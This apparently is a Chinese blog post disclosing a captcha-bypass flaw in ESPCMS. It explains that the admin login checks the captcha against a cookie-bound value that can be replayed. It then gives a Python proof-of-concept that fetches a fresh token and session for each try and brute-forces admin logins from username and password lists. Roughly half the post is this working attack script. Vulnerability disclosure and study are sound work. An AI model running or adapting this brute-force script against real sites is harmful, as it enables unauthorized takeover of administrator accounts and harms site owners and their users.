ESPCMS验证码绕过漏洞分析

零、前言

之前发现了个ESPCMS的验证码绕过漏洞,交某漏洞平台没通过,觉得应该发出来分享一下,直接进入正题。

一、代码审计

ESPCMS有会员登录和后台登陆功能,这两处都有验证码,就拿后台登陆分析。它的后台是这样的

然后看一下后台判断验证码的位置interface/member.php 500行左右

if ($this->CON['mem_isseccode'] && !admin_WAP) {
    $seccode = $this->fun->accept('seccode', 'P');
    include_once admin_ROOT . 'public/class_seccode.php';
    list($new_seccode, $expiration) = explode("\t", $this->fun->eccode($_COOKIE['ecisp_home_seccode'], 'DECODE'));
    $code = new seccode();
    $code->seccodeconvert($new_seccode);
    if ($new_seccode != strtoupper($seccode)) {
            $this->callmessage($this->lng['seescodeerr'], $linkURL, $this->lng['gobackbotton']);
    }
}

看一下他检测验证码的方式,将输入的验证码与cookie中的值比较,这意味着什么?只要我们不改变cookie中的值以及输入的验证码的值,那么就可以
绕过验证码识别。也就是说验证码适合cookie绑定的,如图所示只要刷新一下改变验证码下面的这条cookie就跟着变化。只要不改变这两个值就能使用
一个验证码持续登陆,这样就能爆破了。

如果爆破的话还要解决另外一个问题,每个登陆界面只能请求一次,因为还有一个隐藏的token参数

这样的话就要每尝试一次动态获取这个token值,其中token中的值是和返回的PHPSESSID绑定的,所以这里同步获取PHPSESSID和token然后进行爆破
例如在burp中只需要更新post数据中tokenkey的值即可再次发包,但是并不会触发验证码错误。

二、漏洞利用脚本

POC如下

#-*-coding:utf-8
import requests
import re

url = "http://192.168.219.129/code_check/ESPCMS/upload/adminsoft/index.php"

def get_token():
    r = requests.get(url+"?archive=adminuser&action=login")
    m = re.search(r"(?<=tokenkey\" value=\").*(?=\">)",r.text)
    temp = r.headers["Set-Cookie"].split(";")[2].split(",")[1][1:]
    return (m.group(0),temp)

def hack(username,password,token,session):
    payload = {"archive":"adminuser","action":"login_into"
               ,"tokenkey":token,"username":username
               ,"password":password,"seccode":"kcpr","button":"%E7%99%BB%E9%99%86%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0"}
    headers = {"Cookie":session+";ecisp_seccode=vZUiwvSWNOzwBnPd3vaMP17A1zfkEDKxAhKxdcB8aJY=;notice_5=1\
               ecisp_home_seccode=V%2B%2FQP6dLJHsUJJ0z6u2gDiH1Y9fv5N9uuE7FrjE6SZ4%3D;\
               cookiecheckrld39fc5a10d7ffc5b0f63c61c3d0b5e53=1459320237",
               "Referer":url+"?archive=adminuser&action=login",
               "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}
    r = requests.post(url,headers=headers,data=payload)
    print r.text
    print username,password,token,session
    print "try:....",username,password,
    if "360" in r.text:
        print "     success"
    print "\n"
        #return (username,password)

def main():
    u = open("1.txt").readlines() #读取用户名
    p = open("2.txt").readlines() #读取密码
    for i in u:
        for j in p:
            temp = get_token()
            hack(i.strip("\n"),j.strip("\n"),temp[0],temp[1])

if __name__=="__main__":
    main()

POC没有经过严格测试,如有问题自行更改即可

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*